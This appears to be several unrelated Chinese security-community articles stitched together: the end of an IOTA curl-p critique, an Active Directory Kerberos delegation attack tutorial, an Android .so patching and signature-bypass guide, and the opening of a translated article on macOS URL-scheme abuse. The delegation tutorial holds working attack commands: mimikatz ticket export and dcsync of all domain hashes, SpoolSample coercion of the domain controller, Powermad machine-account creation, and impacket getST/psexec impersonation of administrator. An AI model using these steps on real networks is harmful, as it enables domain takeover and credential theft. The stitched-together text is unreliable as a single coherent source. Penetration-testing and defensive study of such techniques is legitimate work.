这些例子听起来很愚蠢吗？当然！但它们本质一样。安全漏洞在技术上可以通过外部因素得到缓解。但是这种缓和因素是非常脆弱的，特别是对那些安全因素至关重要的东西来说。如果与大型热钱包交易可以获得10亿美元呢？它完全打破了你的安全模式。IOTA开发人员冒着损失用户10亿美元的风险——用他们自己的话说，因为他们不知道有比在生产系统中测试未经同行评审的自定义加密原语更好的方法，也不知道有比只是部署它并查看是否有人破坏了它更好的方法——这极其荒谬。（参见：[泄露邮件](http://www.tangleblog.com/wp-content/uploads/2018/02/letters.pdf "泄露邮件")第4封）
### 9\. 如果现实生活中的攻击看起来还不那么切合实际，为什么安全研究人员还会担心呢？
因为哈希函数的历史给了我们一些教训，那就是第一个漏洞只是开始，随着时间的推移，会发现更多的漏洞。DCI团队非常接近于找到一个原像攻击，他们先发制人地声明他们与IOTA进行了私下交流。DCI实验室表示，他们认为这是有可能的，但还无法对其进行量化。他们还认为curl-p也破坏了抗原像攻击，而并不难以置信。
如果发现了curl-p的原像攻击，那么实际的攻击将十分危急且无法恢复。原像攻击意味着你不需要为消息签名攻击就可以成功。想象一下攻击者设置了大量的Iota完整节点。现在使用一个轻钱包连接这些节点，并传播你的交易。该交易不会被传到网上。相反地，他们会伪造一个假交易，然后用你的签名进行传播。
### 10\. 将SHA-1作为哈希函数安全性的案例研究
显示非随机行为迹象的哈希函数只是一个开始。SHA-1于1995年被正式指定。2005年，在其规范化整整十年后，漏洞开始被发布，其攻击力比暴力攻击更有效。与curl-p不同的是，在2005年的时候还没有发现实际的碰撞。SHA-1提供的安全性比承诺的要低，差距太小而不容忽视，可能在政府的预算范围内无法攻破，但这足以让密码学界认为它是不安全的。
在接下来的几年里，打破SHA-1安全性的障碍不断变小，并且完全在政府的掌控之中。同样地，尽管没有发现碰撞事实，但许多组织都建议用SHA-2或SHA-3来代替SHA-1。2017年，终于[发现了一次碰撞](https://shattered.io/static/infographic.pdf
"发现了一次碰撞")。这是一次碰撞攻击，他们证明它可以用来做一些事情，比如构造一个低租金的合同，用具有相同哈希值的高租金合同来交换数字签名。
SHA-1的历史总结：
* 第一个漏洞是在其规范之后整整十年才发现的。
* 一旦攻击被证明比暴力更有效时，密码学家就认为它是不安全的，尽管这是不切实际的。没有一个密码学家认为SHA-1是安全的，因为它太难攻击了。
* 尽管在2017年之前，没有人负担得起在SHA-1中发现碰撞的计算能力，但政府完全有能力做到这一点。
* 自2005年以来，每年对SHA-1的攻击都变得越来越高效。换句话说，一旦SHA-1显示出非随机行为，对它的尝试性利用变得越来越好。
与此curl-p比较：
* 第一个漏洞是在IOTA在交易所上市后一个月内发现的，该项目也因此受到公众关注，市值超过10亿美元。而SHA-1花了10年的时间才得到研究人员的关注。
* 尽管curl-p在保护签名完整性方面与SHA-1有类似的作用，但Sergey Ivancheglo并不认为抗碰撞性很重要。整个密码学界都认为SHA-1的抗碰撞能力非常重要。这种几乎被破坏的抗碰撞性会导致SHA-1的不安全调用。
* 根据泄露的电子邮件，IOTA开发人员使用curl-p来处理关键的安全应用程序，但并不认为有必要将其提交给密码学专家的同行进行评审。用他们自己的话来说，他们觉得确保自制的加密技术安全性的唯一方法就是在生产系统中使用它然后看它是否受到攻击。
* 根据DCI实验室的数据，对curl-p的攻击花费了20个小时。
### 11\. 但你确定真的有漏洞吗？
根据密码学的定义，有漏洞。
评估说curl-p不安全是因为它在生产系统中发挥着关键的安全作用（意味着它应该是一个加密哈希函数），但是它已经破坏了抗碰撞性（它不是一个安全的加密哈希函数）。
评估认为在交易的数字签名方案中存在漏洞是因为有不安全的哈希函数，它意味着你可以使用以前交易的签名来伪造交易。
### 12\. 但你说这是密码学的定义……
更严格地说，DCI实验室表明，根据[EU-CMA](https://www.cs.tau.ac.il/~canetti/f08-materials/scribe8.pdf "EU-CMA")，IOTA使用curl-p的交易数字签名方案失败了。在这种攻击中，攻击者能够签署他们选定的任何消息，并可以根据需要重复生成和签署消息。如果任意两条消息生成相同的签名，则攻击成功。
对于此次攻击，消息来源是未签名的IOTA交易。由于交易的签名实际上是交易数据的curl-p哈希函数的签名，因此打破curl-p的抗碰撞性就足以赢得这场游戏。DCI实验室的研究人员通过产生碰撞消息打破了curl-p的抗碰撞性。这些碰撞消息是良构事务，这是一个额外收获。
但是IOTA反驳说，EU-CMA的安全也被破坏了……
相信我，我们现在都已经习惯了。
在[泄露的电子邮件](http://www.tangleblog.com/wp-content/uploads/2018/02/letters.pdf
"泄露的电子邮件")中，Sergey反驳了这一说法，理由是对EU-CMA安全的定义过于抽象。（这就是他提到的“真空中的球形签名方案”。）他的观点十分令人困惑，部分原因是他反复引用维基百科（Wikipedia）和security.stackexchange.com等网站上的非正式信息来为自己的观点辩护，他认为这些信息具有权威性。Sergey反复引用安全的定义，但是不考虑加密货币协议。其他时候，他对EU-CMA安全的定义提出异议，称其需要进行原像攻击。在推特上，他经常挑战那些认为IOTA很容易受到原像攻击的人，Heilman反复强调，这对于他们所概述的EU-CMA攻击来说不是必要的。
Sergey在一篇[文章](https://medium.com/@comefrombeyond/intermediate-summary-of-heilman-et-al-add87228efab
"文章")中更仔细地阐述了他的理解。很明显，他的理解力还很差劲。他努力地从一个非常直截了当的角度来看待EU-CMA安全的各个方面。例如，EU-CMA允许攻击者获取从目标生成的任何消息的签名。因此，DCI实验室通过使用由他们控制的私钥来模拟提供这些消息的受害者。Sergey认为这违规了，因为他们模拟的是可以创建密钥的虚拟受害者，而不是无法创建密钥的虚拟受害者。
Sergey也误解了“微不足道”这个词的概念。他一再强调，如果DCI实验室不提供在curl-p中查找碰撞的代码，那么他们就没有任何可信度，就好像这改变了curl-p在普通硬件上存在碰撞的事实，意味着碰撞对密码学者来说是微不足道的。
Sergey并不是提出几个问题而已，而是在质疑密码学中他所能质疑的一切。如果他不理解这些概念，他应该去上与密码学相关的课程，在课堂上提出自己的问题，而不是去骚扰撰写漏洞报告的安全研究人员。如果做不到这一点，他应该聘请密码学专家来回答他的问题，因为他要求的细节如此之多，以至于DCI实验室能够主动满足其要求变得遥遥无期。
### 13\. 结论
DCI实验室对IOTA存在漏洞的评估与密码学的定义一致。每一位密码学家、安全研究员和主要加密货币的开发者都公开发表了言论，他们都同意DCI实验室的观点。
IOTA对此提出异议的原因如下：
* 他们缺乏对密码学的功能性理解，以至于将security.stackexchange.com上的的非正式答案作为严格的定义；
* 他们缺乏研究安全问题的直觉，以至于在没有同行评审的情况下，他们就开始使用自己的加密原语并在生产系统上进行测试；
* 他们缺乏社会技能，无法准确解释密码学定义中更定性的方面，比如“微不足道”这个词的含义。
* * * | 社区文章 |
# 域委派
学习之前最好先搞懂kerberos协议：
可以参考我的blog
<https://ruyueattention.github.io/2022/04/27/kerberos%E8%AE%A4%E8%AF%81/>
## 是什么？
域委派是指将域内用户的权限委派给服务账户，使得服务账号能够以用户的权限在域内展开活动。
**简单的说就是如果一个服务账号上设置了委派属性，那么这个服务就能够以用户权限在域内进行其他操作。翻译过来就是服务能够被（某个用户）委派来进行其他操作。**
当然，委派的前提是被委派的用户未设置成不能被委派
委派的简单的一个场景就是如图，域内用户都通过IIS统一认证平台来登录，而IIS需要使用数据库SQLSERVER（获其他）来支撑用户的访问。但它本身的权限iis不支持它访问SQLSERVER。
或者说，域内的文件服务器，想要实现每个人不同的权限，能看到不同的目录。如果没有域委派这个机制,那么所有人成功通过IIS认证后，存在的权限都只是IIS的权限，当访问文件服务器的时候，文件服务器都只认为是IIS服务在访问它，无法做到详细划分权限的功能。
因此委派就是解决这个问题的，通过设置委派属性，可以让IIS模拟用户，验证并访问后端的其他服务器以获取相应的资源。
## 谁能被设置委派属性
委派分为无约束委派，传统的约束委派以及基于资源的约束委派。
**在域中，只有 服务账号 和 主机账号 才具有委派属性。**
主机账号就是AD活动目录中 Computers 中的计算机，也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。 服务账号（Service
Account）是域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来并加入域。例如SQL Server 在安装时，会在域内自动注册服务账号
SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。
## 设置委派
### 机器用户设置委派
直接使用AD目录管理器操作。
此时查看这个机器账号的ACL属性，发现其userAccountControl包含字段TRUSTED_FOR_DELEGATION字段
### 域用户注册SPN设置委派（服务账号设置委派）
PS：SPN的相关可以看我的上一篇文章
**setspn -s testSPN/777.ruyue.com momo #首先在域账号momo上注册一个SPN
只后就可以在这个域账号上设置委派属性了。**
# 非约束性委派
## 原理
非约束性委派其实就是权限最大的一种委派方式，即完全的获取到你这个用户的权限（相当于获取到这个用户的TGT）。
对于非约束性委派，服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟用户访问任意服务。
**大致流程：当用户访问服务A的时，会向KDC认证身份，此时KDC通过认证在发放ST前，会检查一下服务A的委派属性，如果是非约束性委派，就会把用户的TGT放在ST票据中并一起返还给用户，用户会拿着这个带着TGT的ST去访问服务A。服务A就成功获取了用户的TGT，相当于拿到了用户的所有权限。**
## 特点
1.非约束性委派的目标的ACL属性中会包含：TRUSTED_FOR_DELEGATION。
2.委派的设置需要SeEnableDelegation特权，通常仅域管理员有。
3.域控主机默认是非约束性委派。
## 基础利用
从上面它的原理已经很清楚了，服务A直接拿到用户的TGT并缓存在内存中，那么我们只需要拿下一台设置了非约束性委派的机子后，诱导域管访问这台机子，这样，就能够获取到域管的TGT即金票了。
具体流程就是：
* 寻找配置了非约束性委派的服务或主机账号
* 诱导其他账号访问配置了非约束性委派的服务或主机。
* 导出票据，进行票据注入。
首先是获取存在非约束性委派的机器账号。（获取拿下机子是存在非约束性委派的，这样我们拿下这台机子就可能搞下域控了）
Get-Netcomputer -Unconstrained | select name
Get-NetUser -Unconstrained | select name
使用域控去访问目标主机。
此时exchange这台机子内存就已经存在了域控的TGT。这里我们用mimikatz把内存中的票据给导出来。
**(注意，这里我是用本地管理员账号登录exchange这台机子的)**
privilege::debug
sekurlsa::tickets /export
得到TGT之后，我们用ptt将票据注入到当前会话后，用dcsync导出域控中所有用户的hash，最后就可以用krbtgt用户的hash去生成黄金票据了。
kerberos::ptt [0;181868][email protected] //导入票据
kerberos::list //查看票据
导出所有hash，保证可以随时做金票。
lsadump::dcsync /domain:ruyue.com /all /csv
## spooler打印机BUG+非约束性委派
### 原理
Lee（<https://github.com/leechristensen）认为打印机bug是MS-RPRN（Windows> Print System
Remote
Protocol，Windows打印系统远程协议）中一个古老但又默认启用的方法，这个协议只使用了基于命名管道的RPC，因此，源和目标服务器会通过445端口建立网络连接。也就说具备域用户账户权限的攻击者可以使用MS-RPRN的RpcRemoteFindFirstPrinterChangeNotification(Ex)方法来强迫运行Spooler服务的任何主机通过Kerberos或者NTLM向攻击者选择的目标发起身份认证请求。
利用这个协议，我们就能够让域管的机器账号强制与我们拿下的非约束性委派的机子强行建立连接，从而得到域管的机器账号的TGT。
### 利用
涉及的工具：
<https://github.com/leechristensen/SpoolSample/> （需要自己去编译）
<https://github.com/GhostPack/Rubeus>
从上面我们不难看出，想要利用成功，一方面我们需要要求目标的打印机服务是正常的，也就是Print
spooler服务（默认都是开启的）。同时我们需要拿下非约束性委派机子的本地管理员账号（用于读内存的票据），还有一个域内的普通账号（用于MS-RPRN协议）。
具体操作流程就是先在非约束性委派机子上以本地管理员权限使用mimikatz或者Rubeus监听来访者的TGT，然后使用普通域账号强制让
**域控的机器账号** 和我们进行认证。
因为前面我们用的就是mimikatz，所以这里我也用mimikatz，不用网上用的比较多的Rubeus来监听TGT（主要是Rubeus依赖.net3.5环境，想要用还得在目标机子上装个.net环境）。
首先，我们开启mimikatz，权限给上
privilege::debug
然后runas以域普通账号运行一个powershell，接着运行我们的exp，强制让域控机器账号和我们的进行认证
`runas /user:ruyue.com\momo powershell`
SpoolSample.exe dc exchange
#这里第一个参数是发起认证的主机，在这里就是域控。第二个参数则是存在非约束性委派的主机。需要注意的是，这里必须使用机器名，不能使用ip。
注意：在执行完上述命令后， **一定要快速的使用mimikatz去导出票据（慢了就没了）** 。多次都抓不到的话推荐使用rebeus去尝试。
sekurlsa::tickets /export
后面的操作其实就和前面一样了，把票据注入当前会话，获取krbtgt的hash，得到金票，随意伪造票据。直接拿下域控。这里不再赘述。
### 其他想法
从上面的流程我们不难看出，最难的部分其实就是怎么让域控和我们进行NTLM身份认证。
而这里我们有以下几种方法：
①说服受害者用户或机子向我们的非约束性委派服务器进行身份验证。这里可以辅佐一些网络协议的攻击。
比如比较常见的链路层地址解析协议 (ARP)，通过 ARP 中毒来说服目标受害者认为恶意服务器实际上是文件服务器、域控制器或网络中已经存在的任何合法服务器。
从而导致它与我们的服务器进行NTLM认证。
②钓鱼，利用特殊的网络协议如 SMB、HTTP、RDP、LDAP 等，通过精心设计PDF 、 Microsoft Word 和 Microsoft
Access等文件，以在打开时引发 NTLM 身份验证请求。
<https://blog.csdn.net/wxh0000mm/article/details/105997105>
# 约束性委派
## 原理
不理解的建议多看kerberos协议。
由于非约束委派的不安全性，微软在windows
server2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U。其中S4U支持两个子协议：
* Service for User to Proxy(S4U2proxy)约束委派
* Service for User to Self(S4U2self)协议转换
### S4U2Proxy (约束委派)
还是以一个例子来理解。
当用户去带着ST1去访问服务A的时候，服务A如果需要访问服务B，就会使用S4U2Proxy协议将用户发送来的ST1转发给TGS并请求一个ST2。此时TGS会检查服务A的委派属性，如果服务A能够委派给服务B，那么就会返回ST2给服务A，此后服务A会拿着ST2以momo的身份去访问服务B。
**其实约束委派就是限制了S4U2proxy扩展的范围。配置它后，约束委派将限制服务A能委派的服务范围。而且用的是ST，不至于像TGT那样权限那么大。**
### S4U2Self(协议转换)
上图中用户是通过Kerberos协议与服务A进行认证的，而当用户以其他方式(如NTLM认证，基于表单的认证等方式)与Web服务器进行认证后，用户是无法向Web服务器提供请求该服务的服务票据ST1的，因而服务器A也无法进一步使用S4U2Proxy协议请求访问服务B。
S4U2Self协议便是解决该问题的方案，
**被设置为约束性委派的服务能够调用S4U2Self向TGS为任意用户请求访问自身的可转发的服务票据，此后，便可通过S4U2Proxy使用这张TGS向域控制器请求访问B的票据。**
PS:其实就是如果用户momo通过其他认证渠道过了服务器A的认证，那么服务器A就会通过S4U2Self协议让TGS生成一个momo访问它的ST（ST生成只需要服务账号密码的HASH），即前面的ST1。然后后面的流程都一样了。（常规的kerberos认证是用户需要向TGS证明自己的身份，而这里就是用户直接向服务A去证明自己的身份，不用管kerberos认不认，只要服务A认了就行）
这里还是画个图给大家理解一下：
## 其中存在的问题与利用
从上面的S4U2Self(协议转换)我们可以看出，只要我们拿下一个配置了约束委派的服务账号，就可以利用这个服务账号代表任意用户进行S4U2self获得ST，然后把获取到的票据用于S42proxy，从而获取另一个服务的ST2，这样服务A就可以代替任意用户访问另外一个服务B(既被配置的约束委派的服务)。
比如，如果服务B允许服务A被委派来控制它，我们在获取了服务A的权限下就可以伪造域管权限去访问它，从而获取服务B的权限。
首先我们给momo设置上约束委派权限（这里已经让momo注册了SPN，前面提过了），并且设置了momo这个服务账号对w2008这台机子的cifs服务的委派（cifs其实就是文件共享访问协议之类的）
接着，我们就要尝试通过约束委派从momo这个账号的权限得到w2008的权限了。
首先，我们从发现约束性委派开始。如图，寻找域内的约束性委派服务账号，发现momo这个账号能委派w2008.ruyue.com的cifs服务。
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedto
delegateto| fl
Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize //获取设置了约束性委派的机器账号
在想办法搞到momo这个账号的权限后，我们就可以先导出momo账号的TGT，
sekurlsa::tickets /export
然后利用kekeo工具去使用S4U协议来伪造一个administartor请求服务B的ST2。
tgs::s4u /tgt:[0;e6edd][email protected] /user:[email protected] /service:cifs/w2008.ruyue.com
**PS：如果有momo这个服务账号的明文密码或者hash也是可以的，不是非要去读票据。**
最终在当前目录下得到两个票据文件，比较长那个就是用于访问服务B的ST2
把ST2导入当前会话，就能够成功以Administrator的权限访问服务B了。
kerberos::ptt [email protected]@[email protected]
# 资源型委派
<https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/> （原理透彻，推荐熟读并背诵）
## 原理
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能。传统的约束委派是“正向的”，通过修改服务A属性”msDS-AllowedToDelegateTo”，添加服务B的SPN（Service Principle
Name），设置约束委派对象（服务B），服务A便可以模拟用户向域控制器请求访问服务B以获得服务票据（TGS）来使用服务B的资源。
而基于资源的约束委派则是相反的，通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”，添加服务A的SPN，达到让服务A模拟用户访问B资源的目的。
从这里我们可以知道 **资源的约束委派并不能危害其他机子，只能对自己进行攻击，也就是说提权操作** 。（因为能够模拟其他用户的权限访问自己）
在利用之前，我们还需要了解资源约束委派的利用的前提：
* 谁可以修改机子B的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
* 机子B具有一个SPN账号（因为S4U2Self只适用于具有SPN的账户）
我们比较关注第一个前提，谁能修改机子B的msDS-AllowedToActOnBehalfOfOtherIdentity属性，
通过下面这个文章就很清楚了，我感觉它写的已经很详细了，我没办法比它写的更详细易懂。
[https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#0x02-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86](https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#0x02-基础知识)
**我们可以得知有两个用户有权限添加这个属性：①带着这台机子进入域的时候的域用户②该机子本身的机器账户。**
接着我们继续看第二个前提，具有一个SPN账号，我们知道注册SPN账号是需要域管权限的，显然一个普通域用户是没有权限去注册SPN的。
而恰好的是在域中有一个属性MachineAccountQuota，这个值表示的是允许用户在域中创建的计算机帐户数，默认为10，这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户，而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的，所以这里正好能够实现前提二。
因此带它进入域的域用户可以去创建一个新的机器账户来达到获取SPN的目的。
## 漏洞利用
### 利用场景
<https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/#0x02-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86>
* 提权：模拟其他用户访问自身，通过高权限利用mimikatz抓取本地密码。
* 一个公司可能会有一个专门用来加域的账号，虽然这个账户通常只有普通域用户权限，但是如果我们控制了这个账户那么就可以打下一大批机器。
* 如果我们想拿域内机器A的权限，如果我们又没有机器A administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户依然可以获取权限。
* 一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域)，当我们有了域用户X的权限时，可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器
* 权限维持：①配置evil到krbtgt基于资源的约束委派②配置evil到域控基于资源的约束委派。
### 查询哪台机子被谁带入域的
从上面的原理中我们得知，资源的约束委派不再需要域管理员权限去设置委派，只需拥有在计算机对象上
编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限，也就是说：带它进入域的域用户或者机器账号的权限。
所以我们第一步是先搞清楚是当前或者目标主机是被谁带入域的
这里我们完全可以用大佬写的工具去完成(自行编译)
如图，就可以看到test11这个机器是被momo带进域的。
如果不会编译也没关系，使用ADFind和PowerView来获取。
使用ADFind去查询每个域机器是由哪个域用户添加进域的，找到有mS-DS-CreatorSID的机器。
如下图，就只有TEST11是有这个属性的。也就是说TEST11这台主机是被S-1-5….这个SID对应的用户给带进域的。
AdFind.exe -h 192.168.152.128 -b "DC=ruyue,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
接着查看当前用户的，简单对比下，就可以知道momo这个账号有权限去修改TEST11的msDS-AllowedToActOnBehalfOfOtherIdentity属性，也就是说
利用momo这个账号可以在TEST11这台机子拿到最高权限。
Get-DomainUser -Identity momo -Properties objectsid # 查询
### 提权利用
如果我们没有一个普通域账号，要想利用的话，就需要有机器账号，但一般情况下是没办法拿到机器账号的，但是所有低权限服务(例如network
service这类型的本机服务)如果可以请求域资源，那么出网都是以机器账户身份去请求的。所以我们就可以利用这个权限去进行资源委派的利用，模拟一个administrator访问自身，获取高权限。
如果我们有一个普通域账号（有权限修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性），我们就可以利用这个账号去创建一个机器账号，再利用机器账号做资源委派利用，获取权限。
攻击流程：
* 利用域账号创建一个机器账号
* 修改服务A的msDS-AllowedToActOnBehalfOfOtherIdentity ,配置好机器账号到服务的基于资源的约束委派。（服务A信任机器账号的委派）
* 使用机器账号利用S4U2SELF 协议获得ST，再通过S4U2PROXY获得访问A cifs服务的ST2。（和约束委派差不多的流程）
* 用ST2访问服务A的CIFS服务，获得权限。
#### Setp1 创建机器账号
首先我们在前面信息收集的时候得知了momo这个账号是能修改test11这台机子的msDS-AllowedToActOnBehalfOfOtherIdentity属性的。因此这里我们就利用
momo这个域账号去先创建一个机器账号。
使用 Powermad中的 New-MachineAccount 来创建机器账户，如图成功创建一个名为momomachine，密码为777777的机器账号。
<https://github.com/Kevin-Robertson/Powermad>
New-MachineAccount -MachineAccount momomachine -Password $(ConvertTo-SecureString "777777" -AsPlainText -Force)
#### Setp2 设置资源委派
前面我们创建了机器账号，也就是说成功注册了SPN，接着就可以设置momomachine到test11这台机子的委派了。
这里还是使用powerview去操作。
Get-Netcomputer momomachine | select objectsid #获取机器账号的sid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2955859873-908271592-1975121256-1710)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer [目标主机名]| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer test11 -Properties msds-allowedtoactonbehalfofotheridentity #查看资源委派添加成功与否。
#### Setp3 利用资源委派进行提权
和约束委派差不多。因为当前机子test11信任了momomachine这个SPN的委派，所以我们就需要先获取这个SPN的
ST票据，可是这里我们没导出内存的权限，但别忘记了我们已经有密码了，没必要导出内存，直接用密码向KDC申请ST1，
并用这个ST1通过S4U协议来伪造一个administartor请求机器test11的ST2，从而实现提权就完事了。
PS:这里我还是不用rebeus来搞，毕竟这玩意需要目标机子有.NET环境。
这里我们使用impacket
python3 getST.py -dc-ip 192.168.152.128 ruyue.com/momomachine\$:777777 -spn cifs/test11.ruyue.com -impersonate administrator
export KRB5CCNAME=/usr/mytool/impacket/examples/administrator.ccache
python3 wmiexec.py test11.ruyue.com -no-pass -k -dc-ip 192.168.152.128
PS：wmiexec执行一些命令会乱码，所以可以用
python3 psexec.py -k -no-pass test11.ruyue.com
#### Setp4 直接EXP完成Setp1和Setp2
前面的setp1和step2都可以利用工具完成，如下：
<https://raw.githubusercontent.com/pkb1s/SharpAllowedToAct/1ece255b0979b8b447ca27ce884fcf83bdf9c673/SharpAllowedToAct/Program.cs>
如图直接执行exp，就完成步骤1和2，接着只需要操作步骤3就完事了。 | 社区文章 |
## 关于native层的调试-so
首先介绍一下什么是native层。接下来会介绍so层的patch，调试及基于so层简单的反调试和pass技巧。
##### native
一般指android的底层的，这个层的代码大部分由c/c++实现，具体的机制为JNI，齐为双向机制通过JNI，java代码可以访问c/c++代码，而c/c++代码也可以可以访问java。（理解比较浅薄欢迎大家一起交流）
### so文件的简单patch破解
参考链接：
<https://www.52pojie.cn/thread-732298-1-1.html>
上面的链接包括简单调试阶段所需要的文件。这里就是简单log打印一个字符串。
#### apk反编译及so文件查找
这里的步骤大家应该比较熟悉，就是`apktools d
xxx.apk`加上`-o`可以指定输入的文件名，然后查找到文件所在位置。`/lib/x86`这里看大家的机器机用的什么架构，我本地虚拟机的架构为x86.
#### ida反编译及patch
关于ida的下载和使用这里就不多说了，其实也可以用NASA的那个工具，因为平时打CTF，ida用的比较熟这里就用它进行一个简单的破解。找到主要函数，这里名称很明显。。。
接下来就是进行patch,将界面切换到hex数据位置
找到我们需要更改的字符串然后右键`edit`或者按f2
改成我们需要的字符即可,然后再按f2或者`Apply changes`
然后导出文件即可，然后`apktools d ./xxx.apk`接着进行一个签名即可。
成功后效果
##### 总结
这是一个简单的demo，让大家大概有个patch的了解，接下来进入so层的调试。
### so层签名验证及静态绕过与动态绕过
参考链接：
<https://www.52pojie.cn/thread-732955-1-1.html>
这里主要讲一个简单的在so层的验证，绕过的方法有patch判断流程及动态更改寄存器。（ps：当你反编译再打包什么都没改，再按登陆程序会自动退出。
#### ida分析so层
之前的反编译，寻找步骤这里就都跳过了。查看一下全局变量字符串。根据交叉引用定位函数所在位置
此处为验证逻辑,v5为apk的签名，这里很明显是利用一个if语句进行判断，接下来我们进行一个汇编的查看。
汇编查看,这里利用的是jnz跳转，那么思路一样我们进行patch让其可以进行一个我想要的转跳，改成jz即可。
更改的相关说明，因为打CTF的原因用keypatch比较多，但是尝试过在arm下用这个插件可能会不成功，这里x86是成功的，读者可以像之前上文一样hex下更改ascii。
运行程序查看log信息看我们是否成功。
##### 总结
这个实验我们又成功啦！恭喜你已经会简单的反二次打包啦
#### 动态调试改寄存器
接下来讲第二种方法，对其进行绕过。利用的程序还是我们二次打包的程序但是并不进行patch。
#### ida断点
先对文件下一个断点，就断在之前我们patch的位置，因为之前的CTF基础对ida用起来还是很顺手（又安利一波CTF）
#### ida动态调试前准备
首先讲ida安装文件下的server文件放在你的安卓设备目录下，只要是一个有权限的目录即可`./data/local/tmp`这是我的目录。然后运行
进行一个端口转发`adb forward tcp:23946 tcp:23946`
#### ida选项设置
option选项选择地址
attach
因为进程太多所以可以进行一个search来进行搜索。
#### modify the register
这里进行一个进程的attach后，会运行到我们之前下断点的地方。修改zf寄存器为1即可。
成功后的结果
##### 总结
又成功的绕过了签名的检查啦。回顾下这些签名绕过方法，本质就是劫持了一段程序流，让他跳转到了我们想去的地方。
### 总结
下一篇讲会更深入的讲解so层的反调试实现和绕过，还有xpose模块的使用。 | 社区文章 |
# 如何利用自定义URL Scheme远程突破Mac
|
##### 译文声明
本文是翻译文章，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x38.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在最近几篇文章中，我们讨论了macOS中存在的一些漏洞或者缺陷，使得恶意代码能够执行各种恶意操作，比如绕过SIP、允许安装内核扩展、转储keychain数据以及其他操作。然而，这些漏洞利用技术都需要恶意代码已经（通过某种方式）获取目标系统上的初始代码执行权限。换句话说，这些技术都属于本地攻击范畴，通常会在攻击活动的第二阶段所使用。
今天我们将讨论恶意软件一直在使用的一种远程攻击技术，这种技术可以用来获取已打全补丁macOS系统的初始访问权限，属于第一阶段攻击技术。如果与之前介绍的各种第二阶段攻击技术结合起来，就可以通过优雅又有害的方法来攻击macOS系统。
> 注意：
>
> 虽然这种远程攻击方法仍需要一些用户交互操作，然而的确能够搞定具有安全意识的macOS目标用户。换句话说，大家需要小心这种攻击方法。
8月30日，来自DarkMatter LLC的Taha
Karim在[HITB会议](https://gsec.hitb.org/sg2018/)上做了[“The Trails of WINDSHIFT
APT”](https://gsec.hitb.org/sg2018/sessions/commsec-the-trails-of-windshift-apt/)主题演讲，他总结道：
> WINDSHIFT
> APT是最近发现的一个隐蔽的网络间谍组织，专门攻击为政府工作的人员。这个攻击组织拥有专门的高级渔叉式钓鱼基础设施，可以为钓鱼邮件以及SMS攻击提供服务，在侦察阶段不间断地跟踪目标人员，也可以通过假冒全球及本地的服务商平台，在凭据收集阶段欺骗目标用户。
>
> WINDSHIFT
> APT组织之所以与其他APT组织有所不同，原因在于他们会根据间谍和监控目的，只关注特定的个体，并且由于他们惯用的攻击手段，我们很难对其追踪溯源。WINDSHIFT
> APT组织很少使用恶意软件攻击目标，Dark Matter
> LLC发现了该攻击组织发起的几次攻击活动，并且分析了相关的macOS恶意软件。最后，WINDSHIFT
> APT有独特的macOS感染技巧，滥用macOS的原生功能自动将恶意软件投递到目标。
演讲中比较有趣的一个内容就是攻击者会滥用这种攻击方法，成功远程感染中东某政府的Mac系统。
> 注意：
>
> 本文的并不是简单地重述Taha的演讲内容，而是在此基础上进一步深入分析这款恶意软件的感染机制：
>
> 1、讨论macOS上的一些相关细节；
>
> 2、提供某些PoC代码片段；
>
> 3、讨论这种远程攻击方式的缓解措施。
## 二、Document Handler及URL Scheme
简而言之，WINDSHIFT APT组织滥用了自定义的URL
Scheme来远程感染macOS目标。尽管该过程中需要用户交互，但成本很小，并且一定程度上可以受攻击者“控制”。此外，这种攻击方法已经有成功的攻击案例（攻击中东的政府目标），表明需要用户交互并不是一种无法突破的“屏障”。
在macOS上，应用程序可以“声明”自己能够支持（或者“处理”）各种文档类型以及/或者自定义的URL
Scheme。想象一下，某个应用可能会说“如果有用户尝试打开`foo`文档类型或者`bar`这种URL
Scheme，我可以处理这种场景”。大家肯定在macOS上碰到过这种场景。比如，当我们双击一个`.pdf`文档，`Preview.app`就会被启动来处理该文档。或者在浏览器中，我们点击了指向Mac
App Store中的一个链接，`App Store.app`就会启动来处理这个请求。
不幸的是，Apple对Document Handler（文档处理程序）以及自定义URL Scheme的实现（或者“注册”）方法决定了攻击者可以滥用这种功能。
> 从操作系统的角度来看，尽管文档处理程序以及URL Scheme略有不同，但本质上是一样（因此实现方法也非常相似）。
